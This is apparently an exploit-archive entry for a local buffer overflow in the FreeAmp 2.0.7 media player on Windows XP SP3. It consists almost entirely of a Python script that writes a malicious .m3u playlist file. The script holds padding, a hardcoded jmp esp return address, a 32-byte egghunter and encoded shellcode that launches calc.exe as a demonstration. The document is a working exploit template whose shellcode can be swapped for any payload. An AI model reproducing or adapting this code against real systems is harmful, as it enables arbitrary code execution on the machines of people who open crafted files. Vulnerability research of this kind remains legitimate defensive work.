FreeAmp 2.0.7 – ‘.m3u’ Local Buffer Overflow
# Exploit Title: FreeAmp 2.0.7 .m3u Buffer Overflow - Egghunter # Google Dork: N/A # Date: 11/12/2010 # Author: zota (Thanks to Andrew; andras.kabai@cert-hungary.hu) # Software Link: http://letoltes.szoftverbazis.hu/bfc5ec1d5e80cee5b5d3f78459113ed93c51f649/4d03800a/freeamp-v2-0-7-JI2/freeampsetup_2_0_7.exe # Version: 2.0.7 # Tested on: Windows XP SP3 HUN # CVE : N/A filename = "crash.m3u" egg = "H4CK" #egghunter --> size 32 byte egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x48\x34\x43\x4b\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" padding = "A" * 14654 #kernel32.dll #7c86467b --> jmp esp eip = "\x7b\x46\x86\x7c" # 16 byte nop after eip nop= "C" * 16 #msfpayload windows/exec CMD=calc.exe r | msfencode -b "\x00\x0a\x0d --> size 228 byte" payload = ( "\xdb\xcf\xd9\x74\x24\xf4\xba\xf0\x1b\xe7\xdb\x5b\x31\xc9" + "\xb1\x33\x31\x53\x18\x03\x53\x18\x83\xc3\xf4\xf9\x12\x27" + "\x1c\x74\xdc\xd8\xdc\xe7\x54\x3d\xed\x35\x02\x35\x5f\x8a" + "\x40\x1b\x53\x61\x04\x88\xe0\x07\x81\xbf\x41\xad\xf7\x8e" + "\x52\x03\x38\x5c\x90\x05\xc4\x9f\xc4\xe5\xf5\x6f\x19\xe7" + "\x32\x8d\xd1\xb5\xeb\xd9\x43\x2a\x9f\x9c\x5f\x4b\x4f\xab" + "\xdf\x33\xea\x6c\xab\x89\xf5\xbc\x03\x85\xbe\x24\x28\xc1" + "\x1e\x54\xfd\x11\x62\x1f\x8a\xe2\x10\x9e\x5a\x3b\xd8\x90" + "\xa2\x90\xe7\x1c\x2f\xe8\x20\x9a\xcf\x9f\x5a\xd8\x72\x98" + "\x98\xa2\xa8\x2d\x3d\x04\x3b\x95\xe5\xb4\xe8\x40\x6d\xba" + "\x45\x06\x29\xdf\x58\xcb\x41\xdb\xd1\xea\x85\x6d\xa1\xc8" + "\x01\x35\x72\x70\x13\x93\xd5\x8d\x43\x7b\x8a\x2b\x0f\x6e" + "\xdf\x4a\x52\xe5\x1e\xde\xe8\x40\x20\xe0\xf2\xe2\x48\xd1" + "\x79\x6d\x0f\xee\xab\xc9\xff\xa4\xf6\x78\x97\x60\x63\x39" + "\xfa\x92\x59\x7e\x02\x11\x68\xff\xf1\x09\x19\xfa\xbe\x8d" + "\xf1\x76\xaf\x7b\xf6\x25\xd0\xa9\x95\xa8\x42\x31\x74\x4e" + "\xe2\xd0\x88\x9a") buffer = padding + egg + egg + payload + "A" * (14907 - len(padding) - len(egg) - len(egg) -len(payload)) + eip + nop + egghunter + "D" * (15000 - 14907 - len(egg) - len(nop) - len(egghunter)) textfile = open(filename,'w') textfile.write(buffer) textfile.close() |